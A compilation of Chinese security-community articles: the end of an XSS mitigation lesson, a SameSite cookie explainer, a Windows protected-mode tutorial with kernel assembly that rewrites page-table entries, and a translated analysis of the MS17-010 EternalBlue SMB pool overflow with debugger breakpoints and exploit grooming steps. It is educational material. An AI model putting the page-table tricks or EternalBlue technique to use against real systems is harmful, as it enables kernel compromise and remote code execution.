return String(str).replace(/[^\w. ]/gi, function(c){
return '\\u'+('0000'+c.charCodeAt(0).toString(16)).slice(-4);
});
}
用例如下
`<script>document.write('<script>x="'+jsEscape(untrustedValue)+'";<\/script>')</script>`
### 如何在jQuery中缓解XSS攻击？
jQuery通常因为使用location.hash处理输入然后传递给选择器而导致XSS。后面官方通过验证开头是否为哈希值的方式修复了这个漏洞。现在jQuery只会在第一个字符为<时才会渲染HTML。不过还是建议使用jsEscape函数转义输入后再进行下一步操作。
### 如何在Java中缓解XSS攻击？
使用字符白名单过滤用户输入，并使用Google Guava等库对HTML上下文的输出进行HTML编码，或对JS上下文使用Unicode转义。
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之客户端漏洞篇 –
跨站脚本(XSS)专题的全部内容啦，本专题主要讲了XSS漏洞的形成原理以及三种不同类型的XSS的区别，还有XSS的利用、防护、防护手段的绕过方法等，篇幅比较长，大家耐心观看哦。感兴趣的同学可以在评论区进行讨论，嘻嘻嘻。 | 社区文章 |
# 再见，CSRF：讲解set-cookie中的SameSite属性
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://chloe.re/2016/04/13/goodbye-csrf-samesite-to-the-rescue/>
译文仅供参考，具体内容表达以及含义原文为准。
SameSite-cookies是一种机制，用于定义cookie如何跨域发送。这是谷歌开发的一种安全机制，并且现在在最新版本（Chrome Dev
51.0.2704.4）中已经开始实行了。SameSite-cookies的目的是尝试阻止CSRF（Cross-site request forgery
跨站请求伪造）以及XSSI（Cross Site Script Inclusion (XSSI)
跨站脚本包含）攻击。详细介绍可以看这一篇[文章](https://tools.ietf.org/html/draft-west-first-party-cookies-06)。
SameSite-cookies之前一直受到广大安全研究人员的关注，现在它终于在Chrome-dev上工作了，这是一个好消息。这意味着如果你有一个使用cookies的网站，你应该开始支持SameSite-cookies。事实上，这非常容易。你只需要在Set-Cookie中添加一个SameSite属性。需要注意的是，SameSite需要一个值（如果没有设置值，[默认](https://tools.ietf.org/html/draft-west-first-party-cookies-06#section-4.1.1)是Strict），值可以是Lax或者Strict。你可以在草案中阅读这些属性的相关定义，但这里我会简单解释几种常见的属性，这样叫你就可以很容易的理解它们是如何工作的。
使用语法是SameSite=<value>, 例如SameSite=Lax
**Strict**
Strict是最严格的防护，有能力阻止所有CSRF攻击。然而，它的用户友好性太差，因为它可能会将所有GET请求进行CSRF防护处理。
例如：一个用户在reddit.com点击了一个链接（GET请求），这个链接是到facebook.com的，而假如facebook.com使用了Samesite-cookies并且将值设置为了Strict，那么用户将不能登陆Facebook.com，因为在Strict情况下，浏览器不允许将cookie从A域发送到Ｂ域。
**Lax**
Lax(relax的缩写？)属性只会在使用危险HTTP方法发送跨域cookie的时候进行阻止，例如POST方式。
例1：一个用户在reddit.com点击了一个链接（GET请求），这个链接是到facebook.com的，而假如facebook.com使用了Samesite-cookies并且将值设置为了Lax，那么用户可以正常登录facebok.com，因为浏览器允许将cookie从A域发送到B域。
例2：一个用户在reddit.com提交了一个表单（POST请求），这个表单是提交到facebook.com的，而假如facebook.com使用了Samesite-cookies并且将值设置为了Lax，那么用户将不能正常登陆Facebook.com，因为浏览器不允许使用POST方式将cookie从A域发送到Ｂ域。
**注意**
根据草案中所说，Lax并没有充分防止CSRF和XSSI攻击。但我还是建议先使用Lax进行一个较好的CSRF攻击缓解措施，之后再考虑是否使用Strict。
同时，需要注意，不要将所有的cookie都设置SameSite属性，因为不同的cookie有不同的用途，如果你的网站使用有会话cookie，它可以被设置为Lax属性；其他的可以设置为Strict属性。这可能是一种合适的方式。 | 社区文章 |
# 深耕保护模式（五）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 2-9-9-12分页
在10-10-12分页方式下，物理地址最多可达4GB。但随着硬件发展，4GB的物理地址范围已经无法满足要求，Intel在1996年就已经意识到这个问题了，所以设计了新的分页方式。也就是2-9-9-12分页,又称为PAE（物理地址扩展）分页.
> 在了解2-9-9-12分页之前，应该先明确10-10-12分页到底是怎么来的，这样更有助于理解2-9-9-12分页。
### 为什么是10-10-12分页
intel实际上是先确定了页的大小，为4KB。那么物理页要求的索引应该是4096，也就是2的12次方，这个12次方实际上就是最后的12。
当初的物理内存比较小，所以4个字节的PTE就够了，又因为页的尺寸是4K，所以一个页能存储1024个 PTE ，也就是2的10次方 第二个10也就确定了。
第一个10同理，四字节的PDE，而页是4096，所以能储存1024个PDE，也就是2的10次方。
### 为什么是2-9-9-12分页
页的大小是4K，这点是不能动的。那么最后12位依旧是12位。
如果想增大能访问的物理页，需要增大PTE，而考虑到对齐效率高的问题，直接扩展到8个字节，也就是64位。
那么一个PTE有8个字节64位，一个PTT表还是4K，所以这里2的9次方 512即可索引到每一项。第三个9就是这个2的9次方。
同理是第二个9，一个PDE有8个字节64位，一个PDT表还是4K，也是2的9次方可以索引到每一项。
第一个2则是多出来的，做成了新的一级。
### 2-9-9-12分页结构(PAE,物理地址扩展)
2位2进制数最多就有四个索引，称为PDPTE（Page-Directory-Point-Table Entry）：页目录指针表项。每项占8个字节。
### 在2-9-9-12分页模式下，通过线性地址找到物理地址
在boot.ini文件中修改execute为noexecute。
执行这样一段代码：
#include "stdafx.h"
int main(int argc, char* argv[])
{
char x = 'a';
printf("x的地址:%x\n",&x);
getchar();
return 0;
}
获取到x的线性地址。并进行拆分：
可以看到进程的cr3已经是0x20这样增长，10-10-12的cr3是0x1000增长。
只是多了一层偏移，与10-10-12分页寻址大体差不多。
kd> !dq 09e40300 + 0
kd> !dq 1a781000 + 0
kd> !dq 1a8a4000 + 978
kd> !dq 1aaa9000 + F7C
### PDPTE(Page-Directory-Point-Table Entry)
36-63位是保留位，保留位并不意味着填0就行了，而是cpu要用的，但是我们不能用，并且cpu用了还不会告诉我们怎么用的。
12-35位是PDT的基址，把低12位补0，那么0-35位，共36位为PDT基址。
9-11位是拿给操作系统用的，反正cpu不用。
0-11位都是属性。
### PDE结构
在2-9-9-12分页模式下，PDE的结构有两种，一种是PS位为1的情况，一种是PS位为0的情况。
#### PS=1
当PS=1时是大页，35-21位是大页的物理地址，这样36位的物理地址的低21位为0，这就意味着页的大小为2MB，且都是2MB对齐。
2MB哪里来的呢？2-9-9-12，后面的9和12合并成了一个大页，所以是21位，也就是2的21次方，所以是2MB。
PAT位为Page Attribute Table，页属性表，可以看到下面PS为0的时候就有没这一项，原因就是这个位是针对页的，目录当然没有。
#### PS=0
当PS=0时，35-12位是页表基址,低12位补0，共36位。
### PTE结构
PTE中35-12是物理页基址，24位，低12位补0
物理页基址+后12位的页内偏移指向具体数据
### XD标志位
AMD中称为NX位,即No Excetion。
在上面说到保留位是cpu自己在用的，并且不会跟我们说怎么用的。在保留位的最高位，也就是63位，实际上是一个标明是否可执行的位。
细心的同学已经发现了，在PDE和PTE结构中，无论是10-10-12分页还是2-9-9-12分页都只有R/W位，也就是可读可写，但是并没有可执行的概念，之前在段的学习中，是有可读可写可执行的概念的，这里显然是不科学的。所以在2-9-9-12分页模式中的最高位标明该物理页的可执行属性。
Intel就做了硬件保护，做了一个不可执行位，XD=1时，表明该物理页是不可执行的，实际上是为了保护数据段，数据就是数据，是不能被当作代码执行的。
这里做一个呼应，在上面的2-9-9-12实验中可以看到，当找到PTE时，他的最高位已经变成了8。
这表明我们存储的’a‘就是a，而不能被执行。有一定的程度预防缓冲区溢出漏洞。
在PAE分页模式下，PDE与PTE的最高位为XD/NX位。
### 线性地址0xc0600000
在学习10-10-12分页的时候我们知道：PTE的基址是0xc0000000，PDE的基址是0xc0300000。在这两个线性地址能直接找到PTE和PDE，无需依靠Cr3。
但是在2-9-9-12分页模式下，没有指向Cr3的线性地址。但是仍然有一个特殊的线性地址：0xc0600000。
这个线性地址可以通过反编译`ntkrnlpa.exe`中的`MmIsAddressValid`函数找到。这个函数的作用就是判断线性地址可不可用。
他这里是sub，其实等同于add 0xC0600000
虽然没有线性地址指向cr3，那么有什么对应关系呢？
获取PDPTE指针。
kd> !dq 0ac40340
# ac40340 00000000`18733001 00000000`18674001
# ac40350 00000000`18675001 00000000`185b2001
获取0xc0600000线性地址的PDE
kd> !dq 0ac40340 + 3*8
kd> !dq 185b2000 + 3*8
kd> !dq 185b2000
#185b2000 00000000`18733063 00000000`18674063
#185b2010 00000000`18675063 00000000`185b2063
可以发现c0600000对应的PDE重新指回了PDPTT四个指针。
第三个PDPTE指向了一个PDT表，此表的前四项 指向了PDPTE的每一个元素。
## TLB
假设我们有如下代码：
mov eax,dword ptr ds:[12345678]
这行代码会通过线性地址12345678和当前进程的cr3一起去找到对应的物理地址，而整个过程，实际上要访问PDE和PTE甚至是PDPTE，显然不只是四个字节。在2-9-9-12会读24个字节，如果跨页可能更多。
再看下面一段代码:
mov eax,dword ptr ds:[12345ffe]
在0x12345ffe位置下读取4字节的数据，那么实际上会读取到下一个页的地址，那么这里又会牵扯到PDE和PTE的访问和读取数据，这显然是非常损耗效率的。
为了提高效率，只能用一块缓存来做记录。
于是CPU内部做了一个表，来记录这些东西，这个表格是CPU内部的，和寄存器一样快，这个表格叫：TLB（Translation Lookaside
Buffer）。
### TLB结构
LA存储的是线性地址，PA是对应的物理地址，ATTR是属性，如果是10-10-12分页， ~~那么是PDE和PTE的属性AND起来~~ 。
如果是2-9-9-12分页， ~~属性是PDPTE PDE PTE三个属性AND起来的~~ 。
实际上有些属性是or起来的，比如XD位，G位。
LRU是用来统计这个线性地址的读写情况的，这是因为TLB这个表在CPU内部，那么他就不会很大，当线性地址存储满了的时候，他就会看LRU的统计情况，把读写的次数比较少的项删除，然后再把新的线性地址项添上。
不同的CPU 这个表的大小不一样。
只要Cr3变了，TLB立马刷新，一核一套TLB。这个也比较好理解，Cr3切换代表进程的切换，进程变了自然线性地址与物理地址的对应关系也失去了意义。
>
> 但有这样一个需求：在4GB虚拟空间内，低2G是用户自己的数据，高2G是系统的数据，高2G的内容对于每个进程来说，几乎都是相同的，那么当进程切换的时候，也意味着Cr3变化了，我们不希望TLB中所有的数据都被删除，重建的话耗费很多时间并影响效率，希望有一些高2G空间的线性地址所指引的物理地址项被保留，如何做到这一点呢？
这实际上与PDE和PTE属性中G位相关，G位表明该物理页为全局的，当Cr3切换时，TLB不会清空ATTR(属性)中G位为1的项，这也是为什么很多高线性地址属性的G位都为1的原因。
### TLB种类
TLB在X86体系的CPU里的实际应用最早是从Intel的486CPU开始的，在X86体系的CPU里边，一般都设有如下4组TLB（也就是上面说的一套TLB）:
第一组：缓存一般页表（4K字节页面）的指令页表缓存（Instruction-TLB）。
第二组：缓存一般页表（4K字节页面）的数据页表缓存（Data-TLB）。
第三组：缓存大尺寸页表（2M/4M字节页面）的指令页表缓存（Instruction-TLB）。
第四组：缓存大尺寸页表（2M/4M字节页面）的数据页表缓存（Data-TLB）。
> TLB有多大这个没说，不同cpuTLB的大小不同。
### TLB是确实存在的
TLB看不见摸不着，我们怎么知道他是否真实存在呢？
看如下一段代码：
#include "stdafx.h"
#include <Windows.h>
unsigned int g_value=0;
__declspec(naked) void test()
{
__asm
{
push 0x30;
pop fs;
pushad;
pushfd;
//0地址的PDE一般是存在的，这里就直接挂PTE
mov eax,0x600000;
mov ebx,0xc0000000;
//在PAE模式下获取pte的算法，可以逆向MmIsAddressValid找到。
shr eax,0x9;
and eax,0x7ffff8;
//find pte
mov edx,eax;
add edx,ebx;
mov edx,dword ptr ds:[edx];
mov dword ptr ds:[ebx],edx;
mov dword ptr ds:[0],0x12345678;
mov eax,0x700000;
mov ebx,0xc0000000;
shr eax,0x9;
and eax,0x7ffff8;
//find pte
mov edx,eax;
add edx,ebx;
mov edx,dword ptr ds:[edx];
mov dword ptr ds:[ebx],edx;
mov eax,dword ptr ds:[0];
mov g_value,eax;
popfd;
popad;
retf;
}
}
int main(int agrc,char * agrv[])
{
char buf[]={0,0,0,0,0x48,0};
void * p1 = VirtualAlloc((void*)0x600000,0x1000,MEM_COMMIT | MEM_RESERVE ,PAGE_EXECUTE_READWRITE);
void * p2 = VirtualAlloc((void*)0x700000,0x1000,MEM_COMMIT | MEM_RESERVE ,PAGE_EXECUTE_READWRITE);
if(p1 == NULL)
{
if(p2 != NULL) VirtualFree(p2,0x1000,MEM_COMMIT | MEM_RESERVE);
printf("virtual failed p1\n");
return 0;
}
if(p2 == NULL)
{
VirtualFree(p1,0x1000,MEM_COMMIT | MEM_RESERVE);
printf("virtual failed p2\n");
return 0;
}
//这里必须要赋值，不然会0xC0000005，VirtualAlloc分配好了空间，但是当你使用的时候才挂物理页。
*((unsigned int *)p1)=0x100;
*((unsigned int *)p2)=0x200;
printf("%X\n",test);
//eq 8003f048 0040ec00`00081005
__asm
{
call fword ptr buf;
push 0x3b;
pop fs;
};
printf("%X\n",g_value);
VirtualFree(p1,0x1000,MEM_COMMIT | MEM_RESERVE);
VirtualFree(p2,0x1000,MEM_COMMIT | MEM_RESERVE);
return 0;
}
我们将0x600000线性地址对应的物理页挂在0地址上，并且将值改为0x12345678（mov dword ptr
ds:[0],0x12345678），然后再将0地址挂上0x700000的物理页，这时候由于0x700000位置上的值是200（ _((unsigned
int_ )p2)=0x200），那么如果没有TLB，下次cpu寻址的时候0位置上的值应该为200。但运行结果却为：
说明确实有缓存帮我们存储了地址，当第一次寻址的时候已经将linear和对应的物理地址储存到TLB中。
那么如何取到最新的值呢，也就是我们想取到0地址挂上0x700000对应物理页后的值，这里最好的办法就是刷新Cr3，前面我们也提到了Cr3的切换会将TLB清空（G位为1除外）。
mov eax,cr3;
mov cr3,eax;
TLB刷新，这样可以成功读取到最新的数据，而不是老的缓存。
### 全局页体验
那如果我们此时将PTE属性设置为全局，更新Cr3还能刷新我们这行缓存吗？
or edx,0x100;
即便刷新了缓存，但是由于已经变成全局物理页，所以TLB不会删除地址0这一项。
### INVLPG指令
这个指令可以直接删除TLB的某一项缓存，所以我们现在可以通过该指令强行删除全局页缓存。
invlpg dword ptr ds:[0];
## 中断与异常
### 中断
中断通常是由CPU外部的输入输出设备(硬件)所触发的，供外部设备通知，CPU“有事情需要处理”，因此又叫中断请求(Interrupt Request)。
中断请求的目的是希望CPU暂时停止执行当前正在执行的程序，转去执行中断请求所对应的中断处理例程(中断处理程序在哪有IDT表决定)
80×86有两条中断请求线：
* 非屏蔽中断线，称为NMI（NonMaskable Interrupt）
* 可屏蔽中断线，称为INTR（Interrupt Require）
#### 非可屏蔽中断
当非可屏蔽中断产生时，CPU在执行完当前指令后会里面进入中断处理程序。
非可屏蔽中断不受EFLAG寄存器中IF位的影响，一旦发生，CPU必须处理。
非可屏蔽中断处理程序位于IDT表中的2号位置。
找一下2号中断执行代码，这里忘了就回去看TSS，任务门。
kd> uf 8053f3fc
nt!KiTrap02:
8053f3fc fa cli
8053f3fd ff3540f0dfff push dword ptr ds:[0FFDFF040h]
8053f403 a13cf0dfff mov eax,dword ptr ds:[FFDFF03Ch]
8053f408 8a685f mov ch,byte ptr [eax+5Fh]
8053f40b 8a485c mov cl,byte ptr [eax+5Ch]
8053f40e c1e110 shl ecx,10h
8053f411 668b485a mov cx,word ptr [eax+5Ah]
8053f415 890d40f0dfff mov dword ptr ds:[0FFDFF040h],ecx
8053f41b 9c pushfd
8053f41c 812424ffbfffff and dword ptr [esp],0FFFFBFFFh
8053f423 9d popfd
8053f424 8b0d3cf0dfff mov ecx,dword ptr ds:[0FFDFF03Ch]
8053f42a 8d4158 lea eax,[ecx+58h]
8053f42d c6400589 mov byte ptr [eax+5],89h
8053f431 8b0424 mov eax,dword ptr [esp]
8053f434 6a00 push 0
8053f436 6a00 push 0
8053f438 6a00 push 0
8053f43a 6a00 push 0
8053f43c ff7050 push dword ptr [eax+50h]
8053f43f ff7038 push dword ptr [eax+38h]
8053f442 ff7024 push dword ptr [eax+24h]
8053f445 ff704c push dword ptr [eax+4Ch]
8053f448 ff7020 push dword ptr [eax+20h]
8053f44b 6a00 push 0
8053f44d ff703c push dword ptr [eax+3Ch]
8053f450 ff7034 push dword ptr [eax+34h]
8053f453 ff7040 push dword ptr [eax+40h]
8053f456 ff7044 push dword ptr [eax+44h]
8053f459 ff7058 push dword ptr [eax+58h]
8053f45c ff3500f0dfff push dword ptr ds:[0FFDFF000h]
8053f462 6aff push 0FFFFFFFFh
8053f464 ff7028 push dword ptr [eax+28h]
8053f467 ff702c push dword ptr [eax+2Ch]
8053f46a ff7030 push dword ptr [eax+30h]
8053f46d ff7054 push dword ptr [eax+54h]
8053f470 ff7048 push dword ptr [eax+48h]
8053f473 ff705c push dword ptr [eax+5Ch]
8053f476 6a00 push 0
8053f478 6a00 push 0
8053f47a 6a00 push 0
8053f47c 6a00 push 0
8053f47e 6a00 push 0
8053f480 6a00 push 0
8053f482 6a00 push 0
8053f484 6a00 push 0
8053f486 6a00 push 0
8053f488 6a00 push 0
8053f48a ff7020 push dword ptr [eax+20h]
8053f48d ff703c push dword ptr [eax+3Ch]
8053f490 8bec mov ebp,esp
8053f492 833ddcaf548000 cmp dword ptr [nt!KiAbiosPresent+0x8 (8054afdc)],0
8053f499 7502 jne nt!KiTrap02+0xa1 (8053f49d)
nt!KiTrap02+0x9f:
8053f49b eb24 jmp nt!KiTrap02+0xc5 (8053f4c1)
nt!KiTrap02+0xa1:
8053f49d 833ddcaf548008 cmp dword ptr [nt!KiAbiosPresent+0x8 (8054afdc)],8
8053f4a4 721b jb nt!KiTrap02+0xc5 (8053f4c1)
nt!KiTrap02+0xaa:
8053f4a6 7517 jne nt!KiTrap02+0xc3 (8053f4bf)
nt!KiTrap02+0xac:
8053f4a8 803dc0d4548000 cmp byte ptr [nt!KdDebuggerNotPresent (8054d4c0)],0
8053f4af 750e jne nt!KiTrap02+0xc3 (8053f4bf)
nt!KiTrap02+0xb5:
8053f4b1 803dc1d4548000 cmp byte ptr [nt!KdDebuggerEnabled (8054d4c1)],0
8053f4b8 7405 je nt!KiTrap02+0xc3 (8053f4bf)
nt!KiTrap02+0xbe:
8053f4ba e82999fbff call nt!KeEnterKernelDebugger (804f8de8)
nt!KiTrap02+0xc3:
8053f4bf ebfe jmp nt!KiTrap02+0xc3 (8053f4bf)
nt!KiTrap02+0xc5:
8053f4c1 ff05dcaf5480 inc dword ptr [nt!KiAbiosPresent+0x8 (8054afdc)]
8053f4c7 6a00 push 0
8053f4c9 ff1580864d80 call dword ptr [nt!_imp__HalHandleNMI (804d8680)]
8053f4cf ff0ddcaf5480 dec dword ptr [nt!KiAbiosPresent+0x8 (8054afdc)]
8053f4d5 7533 jne nt!KiTrap02+0x10e (8053f50a)
nt!KiTrap02+0xdb:
8053f4d7 a140f0dfff mov eax,dword ptr ds:[FFDFF040h]
8053f4dc 66833858 cmp word ptr [eax],58h
8053f4e0 7428 je nt!KiTrap02+0x10e (8053f50a)
nt!KiTrap02+0xe6:
8053f4e2 81c48c000000 add esp,8Ch
8053f4e8 8f0540f0dfff pop dword ptr ds:[0FFDFF040h]
8053f4ee 8b0d3cf0dfff mov ecx,dword ptr ds:[0FFDFF03Ch]
8053f4f4 8d4128 lea eax,[ecx+28h]
8053f4f7 c640058b mov byte ptr [eax+5],8Bh
8053f4fb 9c pushfd
8053f4fc 810c2400400000 or dword ptr [esp],4000h
8053f503 9d popfd
8053f504 cf iretd
nt!KiTrap02+0x10e:
8053f50a b802000000 mov eax,2
8053f50f e9dc280000 jmp nt!KiSystemFatalException (80541df0)
nt!KiSystemFatalException:
80541df0 55 push ebp
80541df1 6a00 push 0
80541df3 6a00 push 0
80541df5 6a00 push 0
80541df7 50 push eax
80541df8 6a7f push 7Fh
80541dfa e81774fbff call nt!KeBugCheck2 (804f9216)
80541dff c3 ret
#### 可屏蔽中断
>
> 在硬件级，可屏蔽中断是由一块专门的芯片来管理的，通常称为中断控制器。它负责分配中断资源和管理各个中断源发出的中断请求.为了便于标识各个中断请求。中断管理器通常用IRQ(Interrupt
> Request)后面加上数字来表示不同的中断。比如：在Windows中 时钟中断的IRQ编号为0
> 也就是：IRQ0（大多数操作系统时钟中断在10-100MS之间，Windows系列为10-20MS）。
1、如果自己的程序执行时不希望CPU去处理这些中断，可以用CLI指令清空EFLAG寄存器中的IF位，用STI指令设置EFLAG寄存器中的IF位。
2、硬件中断与IDT表中的对应关系并非固定不变的，参见：APIC（高级可编程中断控制器）,作用就是中断号和IDT表的映射关系。
### 异常
异常通常是CPU在执行指令时检测到的某些错误，比如除0、访问无效页面等。
中断与异常的区别：
1、中断来自于外部设备，是中断源（比如键盘）发起的，CPU是被动的。
2、异常来自于CPU本身，是CPU主动产生的。
3、INT N虽然被称为“软件中断”，但其本质是异常。EFLAG的IF位对INT N无效。
#### 异常处理
无论是由硬件设备触发的中断请求还是由CPU产生的异常，处理程序都在IDT表。
常见的异常处理程序：
比如缺页异常，CPU会执行IDT表中的0xE号中断处理程序，由操作系统来接管。
缺页异常的产生：
1、当PDE/PTE的P=0时。
2、当PDE/PTE的属性为只读但程序试图写入的时。
3、当物理内存空间不足时，线性地址对应的物理页将被存储到文件中。
## 控制寄存器
控制寄存器用于控制和确定CPU的操作模式。
Cr0 Cr1 Cr2 Cr3 Cr4 。
Cr1 保留。
Cr3 页目录表基址。
Cr0 保留。
### Cr0
1、PE位：CR0的位0是启用保护（Protection Enable）标志。
PE=1为保护模式 PE=0则为实地址模式， **这个标志仅开启段级保护，而并没有启用分页机制** 。
若要启用分页机制，那么PE和PG标志都要置位。
2、PG位：当设置该位时即开启了分页机制。在开启这个标志之前必须已经或者同时开启PE标志。
PG=0且PE=0 处理器工作在实地址模式下。
PG=0且PE=1 处理器工作在没有开启分页机制的保护模式下。
PG=1且PE=0 在PE没有开启的情况下 无法开启PG。
PG=1且PE=1 处理器工作在开启了分页机制的保护模式下 。
3、WP位：对于Intel 80486或以上的CPU，CR0的位16是写保护（Write Proctect）标志
当设置该位为1时，处理器会禁止超级用户程序（例如特权级0的程序）向用户级只读页面执行写操作。保护三环用户数据。
当CPL<3的时候：
如果 WP=0 可以读写任意用户级物理页，只要线性地址有效。
如果 WP=1 可以读取任意用户级物理页，但对于只读的物理页，则不能写。
### Cr2
当CPU访问某个无效页面时，会产生缺页异常，此时，CPU会将引起异常的线性地址存放在CR2中。
### Cr4
PAE/PSE说明：
PAE=1 是2-9-9-12分页 PAE=0 是10-10-12分页，这个值实际上就是从boot.ini文件中读出来的。
PSE：相当于时PS位的总开关，只有当PSE为1时的，PS位才起作用，否则无论PS位为何值，都没有大页的存在。
## 后记
保护模式的细节还有很多，具体可参考intel白皮书第三卷：
<https://www.intel.cn/content/www/cn/zh/architecture-and-technology/64-ia-32-architectures-software-developer-system-programming-manual-325384.html> | 社区文章 |
# 【漏洞分析】MS17-010：深入分析“永恒之蓝”漏洞
##### 译文声明
本文是翻译文章，文章来源：trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/ms17-010-eternalblue/ >
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[WeaponX](http://bobao.360.cn/member/contribute?uid=2803578480)
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**背景**
从EternalBlue这个Exploit被影子经纪人公布到互联网上后，就成为了“明星”。在过去的五月中，这个Exploit被多款恶意软件利用。包括肆虐的WannaCryp0t，无文件的勒索软件UIWIX和SMB蠕虫EternalRocks。
**EternalBlue(在微软的MS17-010中被修复)是在Windows的SMB服务处理SMB
v1请求时发生的漏洞，这个漏洞导致攻击者在目标系统上可以执行任意代码。**
**漏洞分析**
漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended
Attributes)转换时，在大非分页池(内核的数据结构，Large Non-Paged Kernel
Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA)
list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作：
1.srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
2.因为错误的使用WORD强制类型转换，导致计算出来的待转换的FEA list的大小比真正的FEA list大
3.因为原先的总大小计算错误，导致当FEA list被转化为NTFEA list时，会在非分页池导致缓冲区溢出
**溢出分析**
我们分析的srv.sys文件版本是6.1.7601.17514_x86。漏洞代码是利用srv!SrvSmbOpen2函数被触发。函数的调用栈如下
00 94527bb4 82171149 srv!SrvSmbOpen2
-> SrvOs2FeaListSizeToNt()
01 94527bc8 821721b8 srv!ExecuteTransaction+0x101
02 94527c00 8213b496 srv!SrvSmbTransactionSecondary+0x2c5
03 94527c28 8214a922 srv!SrvProcessSmb+0x187
04 94527c50 82c5df5e srv!WorkerThread+0x15c
05 94527c90 82b05219 nt!PspSystemThreadStartup+0x9e
06 00000000 00000000 nt!KiThreadStartup+0x19
为了分析溢出时的内存状态，我们可以通过如下方式来下断点：
bp srv!SrvSmbOpen2+0x79 “.printf ”feasize: %p indatasize: %p fealist addr: %p\n”,edx,ecx,eax;g;”
当程序断下来后，我们得到如下十六进制的值（括号内是对应的十进制）
feasize: 00010000 (65536)
indatasize: 000103d0 (66512)
fealist addr: 89e980d8
从这里我们可以看出IN-DATA的大小为65512，和NT Trans Request请求中Total Data Count的值一样且比FEA
list的大小(65536)大。
IN-DATA会被转换为FEA list的结构，FEA list结构如下图所示
当IN-DATA转换完成后，我们得到FEA的大小为00010000(65536)，这个值被存放在FEALIST->cbList中。接下来将会分配一个缓冲区用来存放将FEA
list转换为NTFEA list后的数据。这就意味着需要通过函数srv!SrvOs2FeaListSizeToNt计算转换后NTFEA list的大小。
为了查看这个函数的返回值，我们可以这样下断点：
bp srv!SrvOs2FeaListToNt+0x10 “.printf ”feasize before: %p\n”,poi(edi);r $t0 = @edi;g;”
bp srv!SrvOs2FeaListToNt+0x15 “.printf ”NTFEA size: %p feasize after: %p\n”,eax,poi(@$t0);g;”
断下来后，我们可以得到
feasize before: 00010000
feasize after: 0001ff5d
NTFEA size: 00010fe8
我们发现FEALIST->cbList从0x10000增长到了0x1ff5d。接下来，代码展示了错误是如何发生的。
在上面列出的代码中，40行后展示了一个计算错误的例子。因为原始的FEA list的大小被错误的更新，导致在拷贝数据到到NTFEA
list中时拷贝的大小会超过v6中的NTFEA的大小(00010fe8)。注意到如果函数在28行或者21行返回，那么FEA
list不会被更新。除了EternalBlue使用的方法外，如果在FEA list末尾不足以存放一个FEA结构也会更新v1的值。
我们也分析了当大非分页池发生溢出时候的状况。当SrvOs2FeaListSizeToNt函数返回，需要00010fe8大小的内存空间存放FEA
list。这就需要srv.sys来分配一个大非分页池。使用以下断点我们可以观察FEA list是怎么转转换为NTFEA list。
bp srv!SrvOs2FeaListToNt+0x99 “.printf ”NEXT: FEA: %p NTFEA: %p\n”,esi,eax;g;”
bp srv!SrvOs2FeaToNt+04d “.printf ”MOV2: dst: %p src: %p size: %p\n”,ebx,eax,poi(esp+8);g;”
bp srv!SrvOs2FeaListToNt+0xd5
当SrvOs2FeaListSizeToNt被调用且池分配完成后。SrvOs2FeaToNt函数会遍历FEA
list并转换其中的元素。在SrvOs2FeaToNt中，有两处_memmove拷贝操作，这也是所有的缓冲区拷贝操作。利用上述断点，我们可以观察到FEA
list转换期间的情况。
断点srv!SrvOs2FeaListToNt+0xd5断下来后，我们可以看到分析缓冲区溢出需要的所有数据。605号拷贝操作拷贝了0字节，这是因为在payload开始时FEA
list含有0字节的数据对应605中的FEA结构体。下一个FEA的大小为F383（copy 606），最后的拷贝操作的结束地址应该为85915ff0。
在606号拷贝操作后，我们可以看到最后的缓冲区的地址为:85905008 + 10FE8 =
85915FF0。然而遍历到下一个FEA时，拷贝的大小会变成A8。这将会覆盖到下一个内存区域。我们注意到，溢出的数据覆盖了下一个不同的池，在这个例子中是SRVNET.sys分配的池。
在拷贝操作后，607是一个损坏的FEA结构，服务器会返回STATUS_INVALID_PARAMETER（0xC000000D）。与此同时NT
Transaction中最后一个FEA会被发送到服务器。
**EternalBlue 载荷功能**
溢出发生在内存里的非分页池结构中的大非分页池。大非分页池没有池的头部。因此池和池之间的内存空间是紧密相联的，可以在上一个池后分配一个紧密相连的池，这个池属于驱动分配并含有驱动的数据。
因此，必须通过操纵池后被溢出的池。EternalBlue使用的技术就是控制SRVNET驱动的缓冲区结构。为了实现这一点，两个缓冲区在内存中必须是对齐的。为了实现非分页堆的对齐，可以使用内核池喷射技术。该技术细节如下：
创建多个SERNET缓冲区
释放一些缓冲区占位供SRV来拷贝
用SRV缓冲区溢出到SRVNET的缓冲区
**利用机制**
漏洞代码工作在内核的非分页内存中。也可以工作在大非分页池中。这些类型的池都没有在页的开始嵌入任何头部。因此需要特殊的技巧来利用这些漏洞。这些技巧需要逆向一些数据结构
创建多个SRVNET缓冲区。我们在在此故意省略了一些细节，以防这项技术被滥用。
**EternalBlue 的利用链**
EternalBlue经过一系列的过程完成最终的利用，我们将展示这些过程。
EternalBlue首先发送一个SRV
buffer除了最后一个数据包。这是因为大非分页池将在会话中最后一个数据包被服务端接收的时候被建立。SMB服务器会把会话中接受到的数据读取并叠加起来放入输入缓冲区中。所有的数据会在TRANS包中被标明。当接收到所有的数据后SMB服务器将会处理这些数据。数据通过CIFS(Common
Internet File System)会被分发到SrvOpen2函数中来读取。
EternalBlue发送的所有数据会被SMB服务器收到后，SMB服务器会发送SMB ECHO包。因为攻击可以在网速很慢的情况下实现，所以SMB
ECHO是很重要的。
在我们的分析中，即使我们发送了初始数据，存在漏洞的缓冲区仍然没有被分配在内存中。
1.FreeHole_A: EternalBlue通过发送SMB v1数据包来完成占位
2.SMBv2_1n: 发送一组SMB v2数据包
3.FreeHole_B: 发送另一个占位数据包；必须确保第一个占位的FreeHole_A被释放之前，这块内存被分配
4.FreeHole_A_CLOSE: 关闭连接，使得第一个占位的内存空间被释放
